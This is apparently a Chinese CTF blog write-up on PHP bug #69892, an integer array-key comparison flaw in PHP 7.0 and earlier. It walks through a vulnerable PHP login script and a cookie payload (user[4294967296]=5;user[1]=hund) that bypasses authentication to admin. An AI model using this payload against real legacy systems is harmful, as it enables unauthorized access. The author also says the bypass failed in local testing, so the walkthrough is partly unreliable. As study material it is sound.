0%

phpBug#69892

phpBug#69892

测试发现,此漏洞在 php7.0.*及以前都可以使用,测试php 7.2.23 时已被修复。
 数字型下标在比较时,是通过各自下标值相减的结果来进行判断的,判断结果如果为0其就相等。但是在相减的时候是以unsigned long 类型进行相减的,但是他们返回的结果却只是32位的int类型。因此,当比较结果的低32位全是0的话,比较结果会是相等。如:

1
2
3
4
key=0
key=0x100000000
key=0x1000000000
大于8个0都可以,转为十进制也是可以的。

var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)

【参考链接】

下面看一道题,来进一步加深

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
//php 7.0.* 及以前可以使用,测试php7.2.23已修复
$users = array(
"0:9b5c3d2b64b8f74e56edec71462bd97a" ,
"1:4eb5fb1501102508a86971773849d266",
"2:facabd94d57fc9f1e655ef9ce891e86e",
"3:ce3924f011fe323df3a6a95222b0c909",
"4:7f6618422e6a7ca2e939bd83abde402c",
"5:06e2b745f3124f7d670f78eabaa94809",
"6:8e39a6e40900bb0824a8e150c0d0d59f",
"7:d035e1a80bbb377ce1edce42728849f2",
"8:0927d64a71a9d0078c274fc5f4f10821",
"9:e2e23d64a642ee82c7a270c6c76df142",
"10:70298593dd7ada576aff61b6750b9118"
);

$valid_user = false;

$input = $_COOKIE['user'];
$input[1] = md5($input[1]);

foreach ($users as $user)
{
$user = explode(":", $user);
if ($input === $user) {
$uid = $input[0] + 0;
$valid_user = true;
}
}

if (!$valid_user) {
die("not a valid user\n");
}

if ($uid == 0) {

echo "Hello Admin How can I serve you today?\n";
echo "SECRETS ....\n";

} else {
echo "Welcome back user\n";
}

分析一下: 它需要我们cookie传入一个数组其中包括用户名(0-10)和密码且用户名下标为0,密码下标为1。然后它对我们传来的值(密码MD5)进行判断。

这边我们可以知道用户 5 的密码是 hund 其它的都爆破不出来。结合上面提到的phpBug#69892我们可以想到越权登入,我们的payload为;

1
Cookie:user[4294967296]=5;user[1]=hund;

再解析一下打入payload后执行过程:

  1. 首先是进入这边判断:
    1
    2
    3
    4
    5
    6
    7
    8
    foreach ($users as $user)
    {
    $user = explode(":", $user);
    if ($input === $user) {
    $uid = $input[0] + 0;
    $valid_user = true;
    }
    }
    当遍历到$user为用户5和密码时,就相当于判断如下:
    1
    [0x100000000 => "5",1 => "06e2b745f3124f7d670f78eabaa94809"] === [0 => "5",1 => "06e2b745f3124f7d670f78eabaa94809"]
    我们可以知道放回是true的,这样就绕过了。
  2. 随后执行 $uid = $input[0] + 0; 因为$input[0]没有定义所以为空,空加0后强制转换为了0,这样后面判断uid的时候就成功进入了0用户了。

记疑惑

自己在本地测试发现如下可以过:

1
2
3
<?php
var_dump([0x100000000 => "5",1 => "06e2b745f3124f7d670f78eabaa94809"] === [0 => "5",1 => "06e2b745f3124f7d670f78eabaa94809"]);
?>

调试也发现到用户5的时候确实就是这些数据,当它去没用通过if。我吐了,折腾了半天也没搞明白,就直接记住把。


-------------本文结束感谢您的阅读-------------